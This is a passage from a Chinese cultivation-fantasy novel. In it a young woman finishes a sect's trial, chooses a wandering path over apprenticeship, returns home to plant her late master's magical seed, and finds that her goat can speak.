麦田在月光下泛着银光,像一片静止的海。
很美。
但终究是画。
她转身,踏出观门。
眼前一花。
再睁开眼时,她站在石台第五层。
幻境破了。
她浑身被汗水湿透,脸上还有泪痕,但眼神清澈,像雨后的天空。
台上空无一人。
她走到台边,往下看
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。下面几层,还有人被困在幻境里。有人哭,有人笑,有人呆滞,有人癫狂。
她抬头,看向更高处——第六层,第七层,第八层,第九层。
路还长。
但她知道该怎么走了。
不是逃离,不是寻找,是带着所有的记忆——真实的记忆,幻境的记忆,快乐的记忆,痛苦的记忆——一步一步,往前走。
走到哪里,就是哪里。
她深吸口气,踏上通往第六层的台阶。
脚步很稳。
心里很静。
像回家的人,走在熟悉的路上。
炼心谷外,水镜前。
云鹤真人和三位副考官,正通过水镜观察台上的情况。
水镜里,林照刚刚走出第五层幻境。
“第五层‘归乡境’,她过了。”吴真人说,“用时……三个时辰。不算快,但很稳。”
赵执事在记录:“一百三十七人入谷,目前通过第五层的,只有十九人。淘汰率八成以上。”
谷长青盯着水镜里的林照,没说话。
鹤松真人看了他一眼:“长青,你怎么看?”
谷长青沉默了一会儿,说:“她选了最难的路。”
“怎么说?”
“第五层幻境,给的是‘完美故乡’。”谷长青缓缓道,“一般人要么沉溺,要么强行挣脱。但她……是‘告别’。”他顿了顿,“她明知是幻境,还是和幻境里的师父说话,还是教幻境里的豆苗认药草,还是抱了幻境里的阿茸。然后,好好告别,好好离开。”
他看向鹤松真人:“这不是破境,是渡境。她不是在对抗幻境,是在经历幻境——然后带着经历继续走。”
鹤松真人点头:“所以你觉得……”
“她不会留在玄霄阁。”谷长青说,“这里不是她的终点。”
吴真人皱眉:“那她来试炼做什么?”
“看看。”谷长青说,“看看这条路是什么样子,看看走在这条路上的人是什么样子,看看终点的风景是什么样子——然后,走自己的路。”
水镜里,林照已经踏上了第六层。
第六层是“争境”——模拟第三关“争锋擂”的混战场面。台上幻化出数十个对手,互相厮杀,争夺唯一的信物。
林照没有加入混战。她找了个角落,握紧斧头,静静站着。有人来抢,她就挡;没人来,她就看。像麦田里的一株麦子,风来了就摇,风停了就静。
“她在观察。”赵执事说,“观察每个人的打法,观察阵法的规律。”
“不止。”谷长青说,“她在‘感受’——感受这场争斗的气氛,感受每个人拼命时的眼神,感受胜者的得意,败者的绝望。”他顿了顿,“她在学习,但不是学怎么赢,是学‘争斗’本身是什么。”
水镜里,混战结束。最后一个胜者拿到信物,仰天大笑。然后幻境破碎,胜者消失。
林照还站在角落,斧头垂下,眼神平静。
她踏上第七层。
第七层是“悟境”——没有具体幻象,只有无数光影在眼前流转,每个光影里都蕴含着一丝道韵。有人抓到一个光影,欣喜若狂,以为悟到了无上大道。
林照没有抓。她盘膝坐下,闭上眼睛。光影在她身边流转,像流星,像萤火,像风中飘散的花瓣。
她只是坐着,呼吸,感知。
像坐在晒谷观的田埂上,看云卷云舒。
一个时辰后,她睁开眼,踏上第八层。
第八层是“空境”。
什么都没有。连黑暗都没有。就是“空”。
林照站在空境中,一动不动。
水镜前,考官们都屏住了呼吸。
“空境最难。”吴真人说,“无数人在这里崩溃——因为当一切都消失,连自己都感觉不到时,人会怀疑自己是否存在。”
谷长青却笑了:“她不会。”
果然,水镜里,林照做了个奇怪的动作。
她蹲下身,做出挖土的动作。然后从怀里——虽然幻境里她怀里什么都没有——做出取种的动作。然后做出播种的动作,做出浇水的动作。
她在空无一物的空境里,种麦子。
种得很认真,很仔细,像在真实的晒谷观药田里一样。
种完后,她坐下来,做出等待的动作。
像在等麦子发芽。
时间一点点过去。
空境还是空境,什么都没有发生。
但林照的脸上,渐渐浮现出笑容。
因为她“感觉”到了——不是用眼睛,是用心。她感觉到麦种在土里呼吸,感觉到嫩芽在努力破土,感觉到生命在寂静中生长。
虽然眼前什么都没有。
但她知道,麦子在长。
就像她知道,师父在记忆里,晒谷观在记忆里,阿茸在记忆里,所有她爱过、经历过的一切,都在记忆里。
这些记忆,就是她的麦田。
不需要眼睛看见,不需要手触摸——它们就在那里,真实地生长着,生生不息。
她站起身,踏上第九层。
第九层,是炼心台的顶层。
这里没有幻境,只有一面石壁。石壁上刻着一行字:
“心为何物?”
林照站在石壁前,看了很久。
然后,她伸出手,用手指在石壁上刻字。
不是回答问题,是写下一句话:
“心是记得。”
刻完,她转身,走下石台。
走下炼心台的那一刻,谷中钟声响起——
“铛——铛——铛——”
三声钟响,宣告第二关结束。
林照抬头,看见夕阳正从山谷西侧的山脊落下。金色的余晖洒在石台上,洒在谷中,洒在她身上。
温暖,真实。
她深吸口气,走向谷口。
那里,鹤松真人和考官们在等她。
不,是在等所有通过的人。
但她知道,她的试炼,已经结束了。
不是因为她走到了第九层。
是因为她找到了答案——
心是记得。
记得来路,记得归途,记得每一滴汗,每一滴泪,每一个笑容,每一次告别。
记得,就是活着。
记得,就是修行。
记得,就是道。
19. 抉择
炼心台结束第三日,玄霄阁公布了最终结果。
二十三人通过,淘汰一百一十四人。这个数字刻在广场中央的石碑上,白底黑字,冷硬如铁。石碑前围满了人,通过的,没通过的,都盯着那些名字看。有人欢呼,有人哭泣,有人沉默。
林照站在人群外围,没有往前挤。她已经知道了结果——昨日从炼心谷出来时,鹤松真人亲口告诉她:登顶第九层者,唯她一人。
但这并没有让她感到喜悦。
陈砚挤到她身边,脸色苍白:“林姑娘,我……我没过。停在第七层‘悟境’,抓不住那些光影……”
沈不言也走过来,神色平静:“我过了。第八层‘空境’,待了一炷香。”
李慕云最后一个到,锦衣有些凌乱,但眼神明亮:“我过了!第七层!差点没撑住,好在最后关头想起了林姑娘说的——剑不是用来劈柴的!”
三人看向林照。
林照没说话,只是望向广场前方的高台。那里,鹤松真人和三位副考官已经就座。谷长青坐在最边上,目光正朝她看来。
“肃静!”
鹤松真人起身,声音传遍广场:“第二关‘炼心台’,至此结束。通过者二十三人,名单已公示。”他顿了顿,“依照惯例,通过者需在三日内做出选择——是继续参加第三关‘争锋擂’,竞争内门席位;还是接受外门弟子资格,从基础做起。”
台下响起低低的议论声。
“当然是争内门!都走到这一步了!”
“外门也不错,至少进了玄霄阁。”
“可是‘争锋擂’……听说会死人的……”
云鹤真人抬手压下议论:“此外,今年特设一个选项——放弃晋级,领取‘游历凭证’,可自由离去。”
这话像一块石头砸进平静的水面,激起千层浪。
“什么?放弃?”
“游历凭证有什么用?”
“傻子才选这个吧!”
林照却心头一动。
云鹤真人继续道:“选择‘游历凭证’者,玄霄阁不收录,不授法,但给予三年庇护——三年内,持此凭证者,在玄霄阁势力范围内,受外门弟子待遇,可查阅基础典籍,可领取基础物资。”他目光扫过台下,“此选项,为那些志不在宗门、意在游历者所设。”
他坐下,赵执事起身,开始念名字。
念到名字的人上台,在三个选项中选择。有人毫不犹豫选了“争锋擂”,有人犹豫后选了“外门弟子”,但没人选“游历凭证”——那看起来像个笑话。
“李慕云。”
李慕云深吸口气,走上台。他在三个玉牌前站定——红色“争锋擂”,青色“外门弟子”,白色“游历凭证”。
台下,他的两个随从紧张地看着。
李慕云伸出手,在红色玉牌上顿了顿,然后移开。在青色玉牌上又顿了顿,最终还是移开。最后,他拿起了白色玉牌。
“游历凭证。”他说。
全场哗然。
“李公子疯了?”
“他家不是指望他光宗耀祖吗?”
“这回去怎么交代?”
李慕云却神色坦然,朝考官们行了一礼,拿着白色玉牌走下台。经过林照身边时,他低声道:“林姑娘,你说得对——剑不是用来劈柴的,路也不是只有一条。”
下一个是沈不言。
他上台,几乎没犹豫,直接拿起白色玉牌。
“游历凭证。”
台下又是一阵骚动。沈不言剑法高强,很多人都看好他进内门,没想到……
沈不言下台,走到林照身边,只说了一句:“执念断了,路就宽了。”
轮到陈砚了。
他脸色更白,脚步有些虚浮。台上,他看着三个玉牌,手在颤抖。红色,代表一步登天的机会;青色,代表稳妥的未来;白色,代表未知的漂泊。
他想起父亲期待的眼神,想起自己苦读的那些年,想起来玄霄阁路上发过的誓。
然后,他想起炼心台上,那些抓不住的光影,那些悟不透的道韵。
他终于明白:有些路,不是努力就能走通的。
他伸出手,拿起了白色玉牌。
“游历凭证。”
声音很轻,但很清晰。
下台时,他腿软了一下,林照扶住他。陈砚苦笑:“我爹要是知道,非打断我的腿不可。”
“但这是你自己的选择。”林照说。
陈砚点头:“对,我自己的。”
终于,念到林照的名字。
全场安静下来。所有人都看着她——这个登顶炼心台第九层的姑娘,这个被云鹤真人另眼相看的“五废之体”,会选什么?
林照走上台。
三个玉牌在阳光下泛着微光。红色炽烈,青色温润,白色纯粹。
她没有犹豫,伸手拿起白色玉牌。
“游历凭证。”
声音平静,像在说“今天天气很好”。
台下死一般的寂静。
然后,炸开了锅。
“她疯了?!登顶第九层,竟然放弃?”
“五废之体就是五废之体,烂泥扶不上墙!”
“装什么清高,怕是知道自己过不了第三关吧!”
林照没理会那些议论。她朝考官们行礼,准备下台。
“等等。”鹤松真人忽然开口。
林照停下脚步。
“林照,”鹤松真人看着她,“你登顶炼心台第九层,按规矩,我可破例收你为记名弟子。这是最后一次机会——你确定要选‘游历凭证’?”
这话像惊雷,把台下所有人都炸懵了。
鹤松真人的记名弟子!那可是无数人梦寐以求的位置!金丹真人的亲自指点,玄霄阁内最好的资源,未来不可限量!
所有人都盯着林照,等着她改口。
林照沉默了片刻,然后深深鞠躬:“谢真人厚爱。但……我选‘游历凭证’。”
她抬起头,眼神清澈:“我想用自己的脚,走自己的路。用自己的眼睛,看自己的风景。”
云鹤真人看着她,良久,点头:“好。”
林照下台。
身后,议论声像潮水一样涌来。但她听不见,也不想听。
她知道,从这一刻起,她真正走上了自己的路。
不是玄霄阁的路,不是师父的路,不是任何人的路。
是她林照的路。
傍晚,林照在房间里收拾东西。
游历凭证是一块白玉牌,正面刻着“玄霄阁游历”五字,背面是云纹和编号。除此之外,还有一个小布袋,里面装着一百两银票、一些碎银、几瓶基础丹药、一本《东域风物志》。
这些是玄霄阁给游历者的“安家费”,足够一个普通人在外生活三年。
林照把东西收好,最后检查了一遍包袱:两套换洗衣服,一双新纳的布鞋,一个小陶罐(里面是晒干的药草),斧头,斗笠和蓑衣,还有那本用油布包着的《晒谷心经》。
最重要的,是怀里的三样东西:干枯的麦穗,周言的画,从悬崖松树下捡到的玉佩。
她坐在床边,听着窗外的声音。玄霄镇还没有安静下来,通过的人在庆祝,淘汰的人在借酒消愁,选择游历的人在商议去向。
敲门声响起。
“林姑娘,是我,陈砚。”
林照开门。陈砚站在门外,背着一个书篓,脸色已经好了很多:“我和沈兄、李公子商议,明日一早就出发。你去哪儿?要不要一起?”
林照想了想:“我想先回一趟晒谷观。”
“晒谷观?”陈砚愣了愣,“那……要不要我们陪你?”
“不用。”林照摇头,“我想一个人回去看看。你们可以先走,我们约定一个地方碰面。”
陈砚有些失望,但还是点头:“也好。那……我们约在哪儿?”
林照想起《东域风物志》里提到的一个地方:“青阳城如何?那是东域中部的大城,四通八达,三个月后我们在那儿碰面。”
“好!”陈砚眼睛亮了,“青阳城我熟,我爹在那儿有生意。三个月后,我们在城东的‘听雨茶楼’见!”
两人说定,陈砚告辞离开。
没多久,又有人敲门。
这次是李慕云。他换了一身朴素的青布衫,锦衣和玉佩都收起来了,看起来像个普通书生。
“林姑娘,”他拱手,“明日一别,不知何时再见。这个送你。”他从怀里取出一个小木盒。
林照打开,里面是一把精致的匕首。鞘是乌木的,镶着银纹;刃很薄,寒光闪闪。
“这是……”
“防身用。”李慕云说,“我家里做兵器生意的,这把‘秋水’是我从小带在身边的。锋利,轻巧,适合你。”他顿了顿,“别推辞,就当是……谢谢你让我明白,剑不是用来劈柴的。”
林照收下:“谢谢。”
李慕云笑了:“该谢的是我。如果不是你,我现在可能还在青石镇,拿着那把破剑到处显摆。”他朝林照行了一礼,“后会有期。”
“后会有期。”
李慕云走后,沈不言来了。
他没带东西,只是站在门口,看着林照:“要回晒谷观?”
“嗯。”
“路上小心。”沈不言说,“西北方向最近不太平,听说有流寇作乱。”
“我会绕路。”
沈不言点头,转身要走,又停住:“林姑娘。”
“嗯?”
“你的路,会很难。”沈不言说,“没有宗门庇护,没有师长相助,一切都得靠自己。但……”他顿了顿,“这样的路,走出来的脚印最深。”
林照笑了:“我知道。”
沈不言也笑了——这是林照第一次见他笑,很淡,但很真诚。
“青阳城见。”他说。
“青阳城见。”
沈不言离开后,林照以为不会有人来了。
但子夜时分,敲门声再次响起。
很轻,很缓。
林照开门,看见谷长青站在门外。
老人还是那身深灰色道袍,背微微佝偻,但眼神在夜色中格外明亮。
“谷……前辈。”林照不知该怎么称呼。
谷长青摆摆手:“叫我师伯吧。我和你师父,是同门。”
林照心头一震:“同门?”
“嗯。”谷长青走进房间,在桌边坐下,“一百年前,我们同在‘观天阁’学艺。他是大师兄,我是三师弟。”
观天阁。林照第一次听说这个名字。
“观天阁是散修组织,不属任何宗门,专修‘观’之一道。”谷长青缓缓道,“观天,观地,观己。你师父是那一代最出色的弟子,七十九岁就摸到了元婴门槛。而我……”他苦笑,“资质平庸,至今还在金丹中期徘徊。”
林照给他倒了杯茶。
谷长青喝了一口,继续说:“后来,天阙来使,选拔巡守。你师父放弃了,我……去了。”
他抬起头,看着林照:“我在天阙待了三十年,巡查过七个下界,见过无数天才、妖孽、枭雄、圣人。但最后,我还是回来了——因为发现,那里没有我要的‘道’。”
他从怀里取出一封信,递给林照:“这是你师父临终前,托我转交给你的。他说,如果你选择离开玄霄阁,走自己的路,就把这封信给你。”
林照接过信。信封很旧,字迹确实是老谷头的。她手有些抖,慢慢拆开。
信不长,只有七行字:
“照儿:
见字如面。
若你看到此信,说明你已走上自己的路。
为师欣慰。
天梯将现,勿登,观之。
切记:仙不在天上,在你想去的地方。
师长青绝笔”
林照的眼泪掉下来,滴在信纸上。
天梯将现,勿登,观之。
师父早就知道……
谷长青看着她哭,没说话。等她情绪平复些,才缓缓道:“你师父临终前,除了这封信,还留了一样东西给你。”
他从袖中取出一个巴掌大的木盒。盒身乌黑,没有任何纹饰,但触手温润,像玉石。
林照接过,打开。
盒子里铺着红绸,红绸上躺着一枚种子。
不是麦种,不是药种,是一枚她从未见过的种子。黄豆大小,通体晶莹,像琥珀,又
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像玉石。在灯光下,种子内部有细密的金色纹路,像血管,像叶脉。
“这是……”
“天地树的种子。”谷长青说,“观天阁镇阁之宝,三百年才结一枚。你师父那一代,只得了这一枚。他本可用它突破元婴,但他留给了你。”
林照屏住呼吸。
“天地树,顾名思义,能连天接地。”谷长青说,“种在土里,百年成树,树冠接天,根系连地。坐在树下修行,可感应天地大道,事半功倍。”他顿了顿,“但更重要的是——天地树是‘路标’。种在哪里,哪里就是你的‘根’。无论你走多远,都能顺着树的气息找回来。”
林照握着木盒,手在颤抖。
“你师父说,”谷长青看着她,“你心里有座山,但那山太远,太高,怕你找不到回家的路。所以留这枚种子给你——种在晒谷观,等你找到那座山,想回家时,顺着树的气息就能回来。”
林照的眼泪又涌出来。
师父……连这个都替她想到了。
“这种子怎么种?”她哽咽着问。
“用心血浇灌。”谷长青说,“滴三滴心头血在种子上,种在土里,日日守着,对它说话,讲你的故事,说你的心事。等它发芽,就活了。”他顿了顿,“但你要想清楚——一旦种下,你的命就和这棵树连在一起了。树在,你在;树死,你伤。”
林照毫不犹豫:“我种。”
谷长青点头:“我就知道。”他站起身,“该说的都说了,该给的都给了。林照,接下来,是你自己的路了。”
他走到门口,又回头:“记住你师父的话——天梯将现,勿登,观之。还有……仙不在天上,在你想去的地方。”
说完,他推门出去,消失在夜色中。
林照坐在房间里,看着桌上的三样东西:信,木盒,游历凭证。
信是师父的嘱托,木盒是师父的馈赠,游历凭证是自己的选择。
她把信折好,和那枚干枯的麦穗放在一起。木盒贴身收好。游历凭证挂在腰间。
然后吹灭灯,躺到床上。
窗外,玄霄镇的夜渐渐深了。
远处传来更夫的声音:“天干物燥,小心火烛——”
她知道,明天,她将踏上归途。
不是结束,是另一个开始。
第二日清晨,林照背着包袱,走出客栈。
街上还很安静,晨雾未散。她走到镇口,看见三个人影等在那里——沈不言,陈砚,李慕云。
“你们……”
“送送你。”陈砚笑道,“反正我们也不急着走。”
李慕云递过来一个油纸包:“路上吃的。我让客栈做的干粮,比晒谷观的饼子香。”
沈不言没说话,只是点点头。
林照接过干粮,眼眶发热:“谢谢。”
四人一起走到镇外十里亭。
亭子很旧,石柱上刻满了送别诗。晨雾在亭外缭绕,远处的山峦若隐若现。
“就送到这儿吧。”林照说。
陈砚有些不舍:“林姑娘,三个月后,青阳城见。一定来!”
“一定。”
李慕云拱手:“保重。”
沈不言只说了一个字:“走。”
林照朝三人深深一躬,然后转身,走上西去的路。
走了很远,她回头。
三人还站在亭子里,朝她挥手。晨光从他们身后升起,给他们的身影镶上金边。
像一幅画。
林照也挥了挥手,然后转身,不再回头。
路在脚下延伸,像一条没有尽头的河。
她一步一步走着,脚步很稳。
像走在晒谷观的田埂上,像走在炼心台的台阶上,像走在自己的心上。
走了约莫一个时辰,太阳完全升起来了。雾气散去,天地清明。路边野花盛开,露珠在草叶上闪闪发光。
林照在一处溪流边停下歇脚。
她蹲下身,掬水洗脸。水很凉,很清,能看见水底的卵石和游鱼。她忽然想起渔村的那条河,想起那个熬鱼汤的老人,想起他说“仙岛上有没有这么鲜的鱼汤”。
她笑了。
从怀里取出那枚天地树的种子。
种子在阳光下晶莹剔透,内部的纹路像活的一样,缓缓流动。她咬破指尖,挤出三滴血,滴在种子上。
血渗进种子,金色的纹路瞬间亮了起来,像被点燃的灯。种子在她掌心微微颤动,发出极轻微的嗡鸣,像婴儿的啼哭,像种子的呼吸。
林照把它捧在手心,轻声说:
“我要把你种在晒谷观,种在师父的坟边。你会长成一棵很大很大的树,树冠接天,根系连地。我会经常回来看你,给你讲外面的故事,讲我遇见过的人,走过的路,看过的风景。”
“你要好好长,长得壮壮的,高高的。等有一天,我找到心里的那座山,想回家时,就能顺着你的气息,找到回来的路。”
种子又颤动了一下,像在回应。
林照小心地把它收进木盒,贴身放好。
然后起身,继续赶路。
日头渐高,山路蜿蜒。
她走得很慢,但每一步都踏实。晒谷步法自然施展,像风过麦浪,像水流石缝。
走到一处山巅时,她停下脚步,回望东方。
玄霄阁的方向,已经看不见了。只有连绵的山峦,层层的云雾,和无尽的天空。
她知道,那里有很多人还在争,还在抢,还在为“内门弟子”“金丹真人”“飞升大道”拼得头破血流。
那不是她要的路。
她要的路,在脚下,在远方,在心里。
在每一滴汗里,每一滴泪里,每一次呼吸里。
在晒谷观的麦田里,在破庙的雨声里,在渔村的炊烟里,在驿站的眼泪里,在炼心台的幻境里,在此时此刻的脚步里。
她转过身,看向西方。
晒谷观在等她。
阿茸在等她。
孩子们在等她。
还有那枚种子,在等她。
她深吸口气,迈开脚步。
走向归途。
走向来路。
走向心中的那座山。
20. 归乡
林照回到晒谷观那天,正是秋分。
日头不烈,风里带着凉意,吹得漫山遍野的野菊花摇曳生姿。她从山道转出来,第一眼就看见了那片麦田——金黄金黄的,穗子沉甸甸地垂着头,在秋阳下泛着暖光。
然后她看见了晒谷观。
观还是老样子,三间瓦房,土坯墙,茅草顶。烟囱里飘出袅袅炊烟,是小米粥的香味。羊圈里,阿茸正低头吃草,听见脚步声,抬起头,黑亮的眼睛望过来。
“咩——”
熟悉的叫声,让林照眼眶一热。
她加快脚步,走到观门口。门虚掩着,里面传来孩子们的说笑声。她推开门,堂屋里,豆苗正在扫地,李虎在修一把破椅子,其他几个孩子围在灶台边,不知在看什么。
“我回来了。”林照轻声说。
堂屋里瞬间安静下来。
所有孩子都转过头,看着她。豆苗手里的笤帚掉在地上,李虎手里的锤子停在半空,灶台边的孩子们张着嘴,像见了鬼。
半晌,豆苗“哇”地一声哭出来,扑过来抱住她的腿:“照姐!你回来了!你真的回来了!”
其他孩子也反应过来,一窝蜂涌上来,七嘴八舌:
“照姐你去哪儿了?”
“我们以为你不回来了!”
“师父走了,你也不在,我们好害怕……”
林照蹲下身,抱住豆苗,又摸摸其他孩子的头:“对不起,我回来晚了。”
李虎站在人群外,脸色复杂。他手里还握着锤子,嘴唇动了动,想说什么,但最终只憋出一句:“回来就好。”
林照看向他,点点头:“嗯,回来了。”
孩子们的情绪渐渐平复下来。林照起身,环顾堂屋——一切如旧,但总觉得哪里不对劲。老谷头的竹椅还在墙角,烟袋搁在椅背上,像主人只是暂时离开。供桌上的香炉里,插着三炷新点的香,青烟袅袅。
“谁点的香?”她问。
“我。”李虎闷声道,“每天早上都给师父上香。”
林照心头一暖:“谢谢。”
她走到灶台边,揭开锅盖。锅里熬着小米粥,但火候过了,粥有点糊。她拿起勺子搅了搅:“谁做的饭?”
“虎哥做的。”豆苗小声说,“但他总掌握不好火候。”
李虎脸一红:“有得吃就不错了!”
林照笑了:“我来做吧。你们都饿了吧?”
孩子们欢呼起来。
她挽起袖子,重新生火。柴是现成的,火石一打就着。她从米缸里舀出新米,淘洗,下锅,又去后院的菜地摘了些青菜,洗净切碎。动作熟练,像从未离开过。
粥熬好的时候,香气飘满堂屋。孩子们围坐在桌边,眼巴巴地看着。林照给他们一人盛了一碗,又给李虎盛了一碗:“辛苦了。”
李虎接过碗,手有些抖,低头喝粥,没说话。
饭后,林照开始收拾观里。她发现药田荒芜了不少,杂草丛生,当归的叶子有些发黄。晒谷场上堆着还没脱粒的麦子,有些已经受潮发芽。羊圈里,阿茸的草料也不够了。
“这些天……没人管吗?”她问。
孩子们低下头。豆苗小声说:“虎哥要种地,要劈柴,要挑水,忙不过来。我们太小,帮不上忙……”
李虎猛地站起来:“谁说忙不过来?我明天就去收麦子!”
“明天我去。”林照说,“你带孩子们把药田的草除了。”
李虎看着她,眼神复杂,最终点点头:“好。”
傍晚,林照去了老谷头的坟前。
坟在麦田边,面朝东方。坟头的土还是新的,但已经长出了一些细小的野草。她蹲下身,一根一根地拔掉,动作很轻,像怕惊扰了安睡的人。
“师父,”她轻声说,“我回来了。”
风从麦田吹过,麦浪沙沙作响,像在回应。
她从怀里取出那枚干枯的麦穗,放在坟前:“这是您留给我的。我带着它走了很远的路,见了很多人,经历了很多事。现在,我把它还给您——因为它已经在我心里了,不需要再带在身上。”
她又取出那封信,那枚天地树的种子。
“您留给我的信,我看了。天梯将现,勿登,观之——我记住了。还有这枚种子……”她打开木盒,种子在夕阳下泛着晶莹的光,“我会种在您身边,让它长成一棵大树。等它长大了,树冠能为您遮阳,根系能为您固土。我也会经常回来看您,给您讲外面的故事。”
她咬破指尖,挤出三滴血,滴在种子上。
血渗进去的瞬间,种子光芒大盛,金色的纹路像活过来一样,在种子内部流转。整个木盒都开始微微震动,发出低沉的嗡鸣。
林照站起身,在坟旁选了一处土质松软的地方。她用手挖了一个小坑,小心翼翼地把种子放进去,覆上土,轻轻压实。
做完这一切,她盘膝坐下,闭上眼睛,开始对着土坑说话。
说她在破庙里遇见周言,说她在渔村喝到的鱼汤,说她在驿站写的那封信,说她在玄霄阁的试炼,说炼心台上的幻境,说鹤松真人的茶,说谷长青给她的信,说沈不言的剑,说陈砚的书,说李慕云的匕首。
说一切她经历过的,感受过的,思考过的。
像女儿对父亲倾诉,像学生对老师汇报,像修行者对引路人诉说。
太阳渐渐沉下山去,暮色四合。星星一颗一颗亮起来,银河横跨天际。夜风吹过麦田,带来秋夜的凉意。
林照一直说着,直到嗓子发干,直到月上中天。
最后,她说:“师父,我可能还会走。去更远的地方,看更多的风景,找心里的那座山。但无论走多远,我都会回来——因为这里是我的根。您说的对,仙不在天上,在我想去的地方。而我最想去的地方,永远是回家的路。”
她站起身,朝坟墓深深鞠了一躬,然后转身回观。
走到观门口时,她听见羊圈里传来阿茸不安的叫声。
不是平时的“咩咩”声,是一种焦躁的、带着恐惧的叫声。林照快步走过去,看见阿茸在圈里来回踱步,耳朵竖起,眼睛盯着后山方向。
“怎么了,阿茸?”她打开圈门走进去。
阿茸看见她,立刻凑过来,用头蹭她的手,喉咙里发出“咕噜咕噜”的声音,像在警告什么。
林照顺着它的目光看向后山。夜色深沉,山影幢幢,没什么异常。但她心里忽然升起一股不安——不是来自感知,是来自阿茸传递的情绪。
这只从小跟她长大的羊,从来不会无缘无故焦躁。
她拍拍阿茸的头:“别怕,我在这儿。”
阿茸安静下来,但眼睛还是盯着后山。
林照在羊圈里陪了它一会儿,直到它趴下休息,才离开。
回到自己房间,她点上油灯,开始读《晒谷心经》。这本书她已经读了无数遍,但每次读都有新感悟。今夜,她翻到“上接天光,中承风气,下连地脉”那幅图,久久凝视。
然后她闭上眼睛,开始调息。
“见云”境的感知缓缓展开。她“听”到晒谷观的呼吸——麦田的呼吸,药田的呼吸,孩子们的呼吸,阿茸的呼吸。一切都很平静,很安稳。
但当她将感知扩展到后山时,忽然感到一阵刺痛——不是物理的痛,是感知被什么东西阻挡、扭曲的痛。
后山有东西。
不是野兽,不是人,是某种……阵法?结界?
她想起谷长青的警告,想起青云剑派追杀周言的事。难道那些人找到晒谷观来了?
她睁开眼睛,吹灭灯,悄无声息地走出房间。
夜色很深,月光明亮。她借着月光,往后山走去。
走到半山腰时,她停住了。
前方不远处的树林里,有光——不是月光,不是火光,是阵法运转时发出的灵光。很微弱,在夜色中像萤火,但逃不过她的感知。
她屏住呼吸,收敛气息,慢慢靠近。
树林中央的空地上,站着三个人。
都穿着统一的褐色劲装,腰佩长剑——正是追杀周言的那些青云剑派弟子。为首的是个中年汉子,方脸浓眉,眼神凶狠。他手里拿着一面铜镜,镜面正对着地面,镜中射出一道青光,照在地上一个复杂的阵法图案上。
“确定是这里?”一个年轻弟子问。
“错不了。”方脸汉子沉声道,“追踪符显示,周言最后出现的地点就在这一带。这山里肯定有他藏身的地方,或者……有他同伙。”
“可咱们搜了两天了,什么都没找到。”
“那就继续搜!”方脸汉子冷哼,“掌门下了死命令,必须找到周言,拿回那幅画。活要见人,死要见尸!”
林照心头一紧。
周言果然被盯上了。而且这些人找到了晒谷观附近。
她正想着要不要退走,忽然,脚下一根枯枝“咔嚓”一声,断了。
“谁?!”
三道目光同时射来。
林照知道自己暴露了。她没有逃——逃只会更可疑。她从树后走出来,装出一副惊慌失措的样子:“我、我是山下晒谷观的,来、来采药……”
方脸汉子上下打量她,眼神锐利:“晒谷观?就是那个破道观?”
“是、是的。”
“深更半夜,采什么药?”
“我、我师父病了,需要夜交藤,夜里采的药效最好……”林照低头,声音发颤。
年轻弟子凑到方脸汉子耳边:“师兄,我看她就是个普通农女,不像修行之人。”
方脸汉子盯着林照看了半晌,忽然问:“你见过一个疯疯癫癫的画师吗?背个竹篓,满嘴胡话,说画什么‘不存在之山’。”
林照摇头:“没、没见过。”
“真没见过?”
“真没见过。我们晒谷观平时没什么人来……”
方脸汉子又看了她一会儿,终于挥挥手:“滚吧。记住,要是看见可疑的人,立刻来报。敢隐瞒……”他冷笑一声,手按在剑柄上。
林照连连点头,转身就跑。
跑下山,回到晒谷观,她的心还在狂跳。不是因为害怕,是因为愤怒——这些人,凭什么在她的家门口撒野?凭什么用剑指着她,像审问犯人?
她走到羊圈,阿茸又焦躁起来。这次它不只是叫,而是用角抵着圈门,想出去。
林照打开门,阿茸立刻冲出来,往后山方向跑去。她赶紧跟上。
阿茸跑得很快,但始终在她视线范围内。它没有去刚才那三人所在的地方,而是绕到后山另一侧,在一处悬崖边停下。
悬崖边有棵老松树。
阿茸在松树下刨土,很用力,前蹄扬起,泥土飞溅。林照走过去,看见它刨开的地方,露出一个浅浅的坑,坑里有个油布包裹。
她蹲下身,打开包裹。
里面是一叠画稿——都是周言的画。有青云山脉七十二峰,有云海,有那座“不存在之山”的草稿。最上面一张,是那幅只有一个墨点的《云外之境》的初稿。
还有一封信。
信是写给她的。
“林姑娘:
若你看到此信,说明我已遭不测。
画稿托付于你。它们不该被毁,也不该被某些人独占。
那座山是真的,只是需要‘对的眼睛’才能看见。
你有那样的眼睛。
保重。
周言 绝笔”
林照握着信,手在颤抖。
周言把画稿藏在这里,托付给她。而青云剑派的人,正在满山搜找。
她该怎么办?
把画稿交出去?那周言十年的心血就毁了。
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>藏起来?那些人不会善罢甘休,晒谷观会有危险。
她正犹豫,阿茸忽然“咩”了一声,声音很奇怪——不是羊叫,像是……人声?
林照愣住了,以为自己听错了。
阿茸又“咩”了一声,这次更清晰,声音里带着焦急。它用头蹭她的手,眼睛盯着画稿,又看看后山方向。
然后,它开口了。
不是“咩”,是字。
很模糊,很生硬,像婴儿学语,但确实是字:
“山……要来了……”
林照浑身汗毛倒竖。
阿茸……说话了?
白羊看着她,黑亮的眼睛里,有一种超越牲畜的智慧。它又蹭了蹭她的手,然后转身,朝晒谷观方向走去。走了几步,回头看她,像是在说:跟我来。
林照收起画稿和信,跟了上去。
回到晒谷观,阿茸径直走向老谷头的坟边——那里,她下午种下的天地树种子,已经发芽了。
不是普通的发芽。
是疯长。
下午还只是一个小土坑,现在,土坑里已经长出一株一尺多高的树苗。树苗通体晶莹,像玉石雕成,枝叶是淡金色的,在月光下泛着柔和的光。树苗周围,土地微微震动,像有什么东西在地下涌动。
更神奇的是,树苗的根系——能看见,因为它们是半透明的,像水晶。根系深深扎进土里,然后向四面八方延伸,像一张发光的地网,覆盖了整个坟地,甚至开始向晒谷观延伸。
林照蹲下身,轻轻触摸树苗的叶子。叶子温润如玉,触手生暖。她能感觉到,树苗在呼吸——不是植物的呼吸,是某种更宏大、更深邃的呼吸,像大地的脉搏,像天地的律动。
阿茸走到树苗旁,低头吃了一口树苗旁边的草——那是普通的野草,但沾了树苗的光,也变得晶莹剔透。
吃完草,阿茸抬起头,又说话了。
这次更清晰:
“树……连天地……山要来了……躲……”
说完,它走到林照身边,趴下,闭上眼睛,像是耗尽了力气。
林照站在那里,看着发光的树苗,看着说话后又恢复成普通羊的阿茸,看着手中周言的画稿,看着远处后山隐约的灵光。
山要来了。
什么山?
周言画里的山?还是别的山?
树连天地——是说天地树吗?
躲——躲什么?青云剑派的人?还是要来的“山”?
她不知道。
